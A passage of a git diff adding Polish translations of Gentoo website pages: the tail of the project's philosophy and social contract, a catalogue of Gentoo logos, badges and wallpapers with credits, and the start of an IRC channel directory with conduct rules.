+Gentoo jako system operacyjny wywodzi się z podstawowego pojęcia wiedzy
+opisanego wyżej. System operacyjny Gentoo powinien sprostać wymaganiom
+samowystarczalności. Inaczej mówiąc, powinien być w stanie zbudować się ze
+źródeł przy użyciu wyżej wspomnianych narzędzi i informacji. Jeśli projekt
+związany z oficjalnym projektem Gentoo nie spełnia tego wymagania nie
+kwalifikuje się jako część systemu operacyjnego Gentoo.
+</p>
+
+<p>
+Oficjalna lista projektów wchodzących w skład Gentoo jest zamieszczona na
+stronie <uri link="/proj/en/metastructure/projects.xml">Gentoo
+Metastructure</uri>. Projekt Gentoo nie musi tworzyć systemu operacyjnego
+Gentoo, aby być oficjalnie rozpoznawanym.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo jest i pozostanie Wolnym Oprogramowaniem</title>
+<body>
+
+<p>
+Będziemy wydawać nasz wkład w Gentoo jako wolne oprogramowanie, metadane lub
+dokumentacje, pod Publiczną Licencją GNU w wersji 2 (lub nowszą, wg naszego
+uznania) lub Creative Commons - Attribution / Share Alike w wersji 2 (lub
+nowszą, wg naszego uznania). Wszelki zewnętrzny wkład w Gentoo (w formie
+ogólnie dostępnych źródeł, binariów informacji lub dokumentów) może zostać
+włączony do Gentoo jeśli będziemy na to mieli prawne pozwolenie. Gentoo nigdy
+<e>nie będzie zależne</e> od oprogramowania lub informacji wydanych na licencji
+niekompatybilnej z GNU Public Licence, GNU Lesser General Public License,
+licencją Creative Commons - Attribution/Share Alike lub inną, zatwierdzoną przez
+Ruch Wolnego Oprogramowania (<uri
+link="http://www.opensource.org/licenses/index.html">OSI</uri>).
+</p>
+
+<note>
+Rozważamy rozszerzenie powyższej klauzuli, aby wszystkie kluczowe komponenty
+Gentoo musiały być zgodne z licencją zatwierdzoną przez OSI <e>i</e> Fundację
+Wolnego Oprogramowania (<uri link="http://www.gnu.org/">FSF</uri>).
+</note>
+
+</body>
+</section>
+<section>
+<title>Będziemy się odpłacać Społeczności Wolnego Oprogramowania</title>
+<body>
+
+<p>
+Ustanowimy relacje z autorami Wolnego Oprogramowania i będziemy z nimi
+współpracować kiedy tylko będzie to możliwe. Będziemy wysyłać poprawki do
+błędów, ulepszenia, propozycje użytkowników autorom oprogramowania włączonego w
+nasz system. Będziemy także jasno dokumentować <e>własne</e> wkłady w Gentoo jak
+i również ulepszenia lub zmiany których dokonujemy w zewnętrznych źródłach
+używanych przez Gentoo (w formie łatek, "sed tweaks" lub innych). Rozumiemy iż
+nasze ulepszenia i zmiany będą miały większe znaczenie dla społeczności Wolnego
+Oprogramowania jeśli będą jasno udokumentowane i wyjaśnione, gdyż nie każdy ma
+czas lub umiejętności by zrozumieć drobne zmiany zawierające się w łatkach lub
+usprawnieniach.
+</p>
+
+</body>
+</section>
+<section>
+<title>Nie będziemy ukrywać problemów</title>
+<body>
+
+<p>
+Będziemy trzymać naszą <uri link="http://bugs.gentoo.org/">bazę zgłoszeń
+błędów</uri> otwartą do wglądu publicznego przez cały czas. Zgłoszenia
+przesyłane przez jednych użytkowników będą natychmiastowo widoczne dla innych.
+</p>
+
+<p>
+Wyjątek stanowią informacje związane z bezpieczeństwem lub relacje między
+developerami kiedy niewskazane jest, aby upubliczniać ich przed upływem pewnego
+czasu.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/pl/graphics.xml b/xml/htdocs/main/pl/graphics.xml
new file mode 100644
index 00000000..4e02ed19
--- /dev/null
+++ b/xml/htdocs/main/pl/graphics.xml
@@ -0,0 +1,469 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/pl/graphics.xml,v 1.4 2008/07/19 15:22:23 shadow Exp $ -->
+
+<mainpage lang="pl">
+<title>Grafiki Gentoo Linux</title>
+<author title="Autor">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="cast3r.wme@gmail.com">Łukasz Rysiak</mail>
+</author>
+<author title="Redaktor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+
+
+<abstract>
+Spis wszelkiego typu grafik, udostępnionych do użytkowania w ramach zasad
+zawartych w wytycznych dotyczących używania nazwy i logo Gentoo.
+</abstract>
+
+<license/>
+<version>2.13</version>
+<date>2008-07-04</date>
+
+<chapter>
+<title>Znaki graficzne Gentoo</title>
+<section>
+<title>Zasady użytkowania</title>
+<body>
+
+<p>
+Obrazki na tej stronie zostały stworzone przez różnych autorów, którzy
+gwarantują nam, że możemy je modyfikować według naszych upodobań.  Zasady
+używania nazwy i logo Gentoo są zdefiniowane w <uri
+link="/main/pl/name-logo.xml">Wytycznych dotyczących używania nazwy i logo
+Gentoo</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Współpraca</title>
+<body>
+
+<p>
+Jeżeli chcemy ofiarować swoje grafiki projektowi Gentoo, powinniśmy najpierw
+wejść na <uri link="http://forums.gentoo.org">Forum Gentoo</uri>, aby inni
+mogli przyczynić się swoimi komentarzami do podniesienia jakości naszych
+grafik. Następnie musimy skontaktować się z <mail link="www@gentoo.org">
+zespołem obsługującym strony Gentoo</mail> i poprosić o dołączenie naszych
+grafik.
+</p>
+
+<p>
+Zespół może odrzucić nasze grafiki jeżeli są one zbyt podobne do już
+istniejących, jeżeli nie są dostępne w wystarczających rozdzielczościach, nie
+są 'w duchu Gentoo' (np. są obraźliwe), bądź z jakiego kolwiek innego powodu.
+</p>
+
+<p>
+Zanim nasze grafiki zostaną dołączone do strony, może upłynąć trochę czasu.
+</p>
+
+</body>
+</section>
+<section>
+<title>Inne znaki graficzne</title>
+<body>
+
+<p>
+<uri link="/images/gentoo-logo.svg">Logo G logo w formacie svg autorstwa
+Lennarta Andre Rollanda Andre Rolland</uri>.
+</p>
+
+<p>
+<uri link="/images/gentoo-openbsd.png">Logo Gentoo/OpenBSD w formacie png
+przygotowane przez projekt Gentoo Artwork</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Symbole Gentoo Linux</title>
+<body>
+
+<p>
+<b>Pokażmy światu, że używamy Gentoo</b>.
+</p>
+
+<p>
+Wystarczy umieścić odnośnik do <uri
+link="http://www.gentoo.org">http://www.gentoo.org</uri> w postaci logo
+<e>Powered by Gentoo</e> na stronach internetowych działających pod
+kontrolą Gentoo lub <e>Znaczek Gentoo</e> na stronie, blogu, w sygnaturce na
+forum, bądź gdziekolwiek indziej. aby wspomóc naszą dystrybucję popularyzując ją
+wśród użytkowników Internetu na całym świecie.
+</p>
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/powered-show.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/powered-by-gentoo.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo2.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo3.png"/><br/>
+    <fig link="/images/powered-by-gentoo4.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/ralph_gentoo_badge.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge.png"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/powered-small.png">Mały</uri> -
+    <uri link="/images/powered.png">Średni</uri> -
+    <uri link="/images/powered-big.png">Duży</uri>
+  </ti>
+  <ti>
+    autor: Sascha Schwabbauer
+  </ti>
+  <ti>
+    autor: Ralph Jacobs
+  </ti>
+  <ti>
+    autor: Ryan Viljoen
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/gentoo-badge2.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge3.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/szbence-badge1.png"/><br/>
+    <fig link="/images/szbence-badge2.png"/><br/>
+    <fig link="/images/szbence-badge3.png"/><br/>
+    <fig link="/images/szbence-badge4.png"/><br/>
+    <fig link="/images/szbence-badge5.png"/><br/>
+    <fig link="/images/szbence-badge6.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/hardened-badge.png"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    by <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=36364">m@o</uri>
+  </ti>
+  <ti>
+   by <uri
+   link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=26433">wolven</uri>
+  </ti>
+  <ti>
+    by <uri
+    link="http://forums.gentoo.org/viewtopic-t-7763-start-50.html">Szabó
+    Bence</uri>
+  </ti>
+  <ti>
+    by <uri link="http://www.liquidustech.com/">Matthew Summers</uri>
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Tapety Gentoo Linux</title>
+<body>
+
+<p>
+<b>Umieśćmy na naszych pulpitach tapetę Gentoo i pokażmy w ten sposób naszym
+kolegom, że używamy dystrybucji Gentoo Linux.</b>
+</p>
+
+<p>
+Wybierzmy którąś z <e>tapet Gentoo</e> by upiększyć nasze pulpity.  Pokażmy
+wszystkim, że używamy Gentoo i jesteśmy z tego dumni.
+</p>
+
+<!--
+  Use 120x90 graphics for display purposes
+-->
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-cycle-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo640x480.jpg">640x680</uri> -
+    <uri link="/images/backgrounds/gentoo1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo1600x1200.jpg">1600x1200</uri><br/>
+    autor: <uri
+    link="http://forums.gentoo.org/viewtopic.php?t=6745">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-cycle-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    autor: <uri
+    link="http://forums.gentoo.org/viewtopic.php?t=6868">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-light2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-light2-640x480.jpg">640x480</uri>
+    - <uri
+    link="/images/backgrounds/gentoo-ice-light2-1024x768.jpg">1024x768</uri> -
+    <uri
+    link="/images/backgrounds/gentoo-ice-light2-1152x864.jpg">1152x864</uri> -
+    <uri
+    link="/images/backgrounds/gentoo-ice-light2-1280x1024.jpg">1280x1024</uri> -
+    <uri
+    link="/images/backgrounds/gentoo-ice-light2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    autor: <uri
+    link="http://forums.gentoo.org/viewtopic.php?t=7993">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-640x480.jpg">640x480</uri> - <uri
+    link="/images/backgrounds/gentoo-ice-1024x768.jpg">1024x768</uri> - <uri
+    link="/images/backgrounds/gentoo-ice-1152x864.jpg">1152x864</uri> - <uri
+    link="/images/backgrounds/gentoo-ice-1280x1024.jpg">1280x1024</uri> - <uri
+    link="/images/backgrounds/gentoo-ice-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    autor: <uri
+    link="http://forums.gentoo.org/viewtopic.php?t=7672">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-box-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-minimal-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-box-640x480.jpg">640x480</uri> - <uri
+    link="/images/backgrounds/gentoo-box-1024x768.png">1024x768</uri> - <uri
+    link="/images/backgrounds/gentoo-box-1152x864.png">1152x864</uri> - <uri
+    link="/images/backgrounds/gentoo-box-1280x1024.png">1280x1024</uri> - <uri
+    link="/images/backgrounds/gentoo-box-1600x1200.png">1600x1200</uri>
+    <br/>
+    autor: Luca Martinetti
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-minimal-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1280x1024.jpg">1280x1024</uri>
+    -
+    <uri link="/images/backgrounds/gentoo-minimal-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    autor: <uri link="http://forums.gentoo.org/viewtopic-t-365758.html">Brian
+    Wigginton</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_1-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_2-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_1-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-amd64_1-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-amd64_1-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    autor: Tedder Wayne
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_2-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-amd64_2-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-amd64_2-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    autor: Tedder Wayne
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-glass-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-causticswp-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-glass-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-glass-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-glass-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-glass-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    autor: Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-causticswp-800x600.jpg">800x600</uri>
+    -
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1024x768.jpg">1024x768</uri> -
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1280x1024.jpg">1280x1024</uri> -
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    autor: Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-water-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_1-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/cow-push-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-water-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    autor: Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-chojindsl_1-800x600.jpg">800x600</uri>
+    -
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1024x768.jpg">1024x768</uri> -
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1280x1024.jpg">1280x1024</uri>
+    -
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    autor: Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_2-120x90.jpg"/>
+  </ti>
+  <ti/>
+</tr>
+<tr>
+  <ti>
+     <uri
+     link="/images/backgrounds/gentoo-chojindsl_2-800x600.jpg">800x600</uri>
+    -
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1024x768.jpg">1024x768</uri> -
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1280x1024.jpg">1280x1024</uri>
+    -
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    autor: Robert Krig
+  </ti>
+  <ti/>
+  <ti>
+    <uri link="/images/backgrounds/cow-push-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/cow-push-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/cow-push-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/cow-push-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/cow-push-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    autor: <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero
+    Konttila</uri> </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/cow-push2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/macosx-gentoo-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/cow-push2-800x600.jpg">800x600</uri> - <uri
+    link="/images/backgrounds/cow-push2-1024x768.jpg">1024x768</uri> - <uri
+    link="/images/backgrounds/cow-push2-1152x864.jpg">1152x864</uri> - <uri
+    link="/images/backgrounds/cow-push2-1280x1024.jpg">1280x1024</uri> - <uri
+    link="/images/backgrounds/cow-push2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero
+    Konttila</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/macosx-gentoo-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/macosx-gentoo-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/macosx-gentoo-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/macosx-gentoo-1280x1024.jpg">1280x1024</uri>
+    -
+    <uri link="/images/backgrounds/macosx-gentoo-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Przemysław Pazik
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-abducted-120x90.png"/>
+  </ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-abducted-800x600.png">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1024x768.png">1024x768</uri>
+    -
+    <uri link="/images/backgrounds/gentoo-abducted-1152x864.png">1152x864</uri>
+    -
+    <uri
+    link="/images/backgrounds/gentoo-abducted-1280x1024.png">1280x1024</uri> -
+    <uri
+    link="/images/backgrounds/gentoo-abducted-1600x1200.png">1600x1200</uri>
+    <br/>
+    by <uri link="http://forums.gentoo.org/viewtopic-t-257123.html">Matteo
+    'Peach' Pescarin</uri>
+  </ti>
+  <ti></ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/pl/irc.xml b/xml/htdocs/main/pl/irc.xml
new file mode 100644
index 00000000..91ae5964
--- /dev/null
+++ b/xml/htdocs/main/pl/irc.xml
@@ -0,0 +1,525 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/pl/irc.xml,v 1.33 2009/10/02 09:49:49 shadow Exp $ -->
+
+<mainpage lang="pl">
+<title>Zasoby Gentoo w sieci IRC</title>
+
+<author title="Redaktor">
+  Colin Morey
+</author>
+<author title="Redaktor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Redaktor">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="Redaktor">
+<mail link="astinus@gentoo.org">Alex Howells</mail>
+</author>
+<author title="Redaktor">
+ <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+<author title="Redaktor">
+ <mail link="musikc@gentoo.org">Christina Fullam</mail>
+</author>
+<author title="Tłumacz">
+  <mail link="stemer@icpnet.pl">Krzysztof Stemerowicz</mail>
+</author>
+
+<abstract>
+Oficjalne kanały IRC Gentoo.
+</abstract>
+
+<license/>
+
+<version>1.37</version>
+<date>2009-06-03</date>
+
+<chapter>
+<title>Sieć Internet Relay Chat</title>
+<section>
+<body>
+
+<p>
+<b>Wszystkie kanały irc można znaleźć w sieci <uri
+link="http://www.freenode.org/">freenode</uri>:</b>.
+</p>
+
+<p>
+Kanały IRC zostały założone przez deweloperów Gentoo w celu pomocy, wymiany
+informacji oraz bliższego poznawania się członków naszej społeczności.
+Zapraszamy na nie wszystkich użytkowników Gentoo, zarówno tych, którzy mają
+jakiś problem, z którym potrzebują pomocy, jak i tych, którzy takiej pomocy są
+gotowi udzielić.
+</p>
+
+<p>
+Stawiamy pewne wymagania przed użytkownikami naszych kanałów:
+</p>
+
+<ul>
+  <li>
+    Należy zachowywać się rozważnie i dojrzale, zgodnie z zasadami <uri
+    link="/proj/en/council/coc.xml">Kodeksu Zachowania</uri>.
+  </li>
+  <li>
+    Nalegamy na przeczytanie tematu po wejściu na kanał, zawiera on cenne
+    informacje!
+  </li>
+  <li>
+    Boty oraz skrypty, które się wypowiadają, nie są mile widziane na większości
+    kanałów. W razie wątpliwości należy pytać.
+  </li>
+  <li>
+    Nie wolno używać <c>CTCP VERSION</c> względem użytkowników ani kanałów bez
+    ich zgody.
+  </li>
+  <li>
+    Należy zwrócić uwagę, że używamy polityki czystego języka na #gentoo.
+    przekleństwa nie są dozwolone.
+  </li>
+  <li>
+    Na #gentoo nie pomagamy użytkownikom nieoficjalnych programów do obsługi
+    pakietów z drzewa Portage
+  </li>
+</ul>
+
+<p>
+Zwracamy również uwagę, że <b>nie</b> zapewniamy wsparcia dla dystrybucji
+opartych na Gentoo Linux.
+</p>
+
+<table>
+<tr>
+  <th>Główne kanały Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo">#gentoo</uri></ti>
+  <th>Pomoc z problemami podczas instalacji i konfiguracji systemu</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-dev">#gentoo-dev</uri></ti>
+  <th>Rozmowy na temat rozwijania Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-groupcontacts">#gentoo-groupcontacts</uri></ti>
+  <th>Miejsce, w którym rozstrzyga się kwestie dotyczące kanałów IRC Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ops">#gentoo-ops</uri></ti>
+  <th>Pytania i problemy dotyczące kanału #gentoo</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Kanały dotyczące obsługi różnych architektur i platform w Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-alpha">#gentoo-alpha</uri></ti>
+  <th>Gentoo Linux/Alpha</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-amd64">#gentoo-amd64</uri></ti>
+  <th>Gentoo Linux/AMD64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-amd64-dev">#gentoo-amd64-dev</uri></ti>
+  <th>Kanał deweloperów Gentoo Linux/AMD64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-bsd">#gentoo-bsd</uri></ti>
+  <th>Gentoo *BSD</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-hppa">#gentoo-hppa</uri></ti>
+  <th>Gentoo Linux/HPPA</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ia64">#gentoo-ia64</uri></ti>
+  <th>Gentoo Linux/IA-64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-mips">#gentoo-mips</uri></ti>
+  <th>Gentoo Linux/MIPS</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ppc">#gentoo-powerpc</uri></ti>
+  <th>Gentoo Linux/PowerPC (PPC i PPC64)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-sparc">#gentoo-sparc</uri></ti>
+  <th>Gentoo Linux/Sparc</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-x86">#gentoo-x86</uri></ti>
+  <th>Gentoo Linux/x86 development</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th><b>Kanały różnych projektów Gentoo</b></th>
+</tr>
+<tr>
+  <ti><uri
+  link="irc://irc.gentoo.org/gentoo-accessibility">#gentoo-accessibility</uri>
+  </ti>
+  <th>
+  Kanał projektu <uri link="/proj/en/desktop/accessibility">Accessibility</uri>.
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-apache">#gentoo-apache</uri></ti>
+  <th>Rozmowy związane z rozwojem Apache</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-bugs">#gentoo-bugs</uri></ti>
+  <th> Wydarzenia związane z Gentoo BugDay, naprawa błędów w Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-cluster">#gentoo-cluster</uri></ti>
+  <th>Klastry oparte na Gentoo</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-council">#gentoo-council</uri>
+  </ti>
+  <th><uri link="/proj/en/council">Rada Gentoo</uri></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-commits">#gentoo-commits</uri></ti>
+  <th>
+    Kanał na którym wyświetlane są informacje dotyczące zmian w CVS i SVN Gentoo
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-db">#gentoo-db</uri></ti>
+  <th>Obsługa pakietów związanych z bazami danych</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-desktop">#gentoo-desktop</uri></ti>
+  <th>Gentoo na stacjach roboczych</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-dev-help">#gentoo-dev-help</uri></ti>
+  <th>Kanał twórców ebuildów</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-devrel">#gentoo-devrel</uri></ti>
+  <th>Projekt <uri link="/proj/en/devrel">devrel</uri>.</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-doc">#gentoo-doc</uri></ti>
+  <th>Kanał dla osób pracujących nad dokumentacją Gentoo.</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-embedded">#gentoo-embedded</uri></ti>
+  <th>Rozmowy o Gentoo na urządzeniach przenośnych.</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-events">#gentoo-events</uri></ti>
+  <th>Kanał używany do rozmów podczas ważnych wydarzeń w Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-forums">#gentoo-forums</uri></ti>
+  <th>Kanał obsługi Forum Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-games">#gentoo-games</uri></ti>
+  <th>
+    Rozmowy oraz wsparcie dla linuksowych gier w Gentoo (bez Wine i Cedega)
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-guis">#gentoo-guis</uri></ti>
+  <th>Projekt Gentoo GUI</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-hardened">#gentoo-hardened</uri></ti>
+  <th>Projekt Gentoo Hardened</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-haskell">#gentoo-haskell</uri></ti>
+  <th>Pakiety w języku programowania Haskell</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-java">#gentoo-java</uri></ti>
+  <th>Rozmowy związanie z platformą Java.</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-kde">#gentoo-kde</uri></ti>
+  <th>Utrzymanie pakietów KDE</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-kernel">#gentoo-kernel</uri></ti>
+  <th>O źródłach jądra w Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-gmn">#gentoo-gmn</uri></ti>
+  <th>Miesięcznik Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-laptop">#gentoo-laptop</uri></ti>
+  <th>Gentoo na laptopach</th>
+</tr>
+<tr>
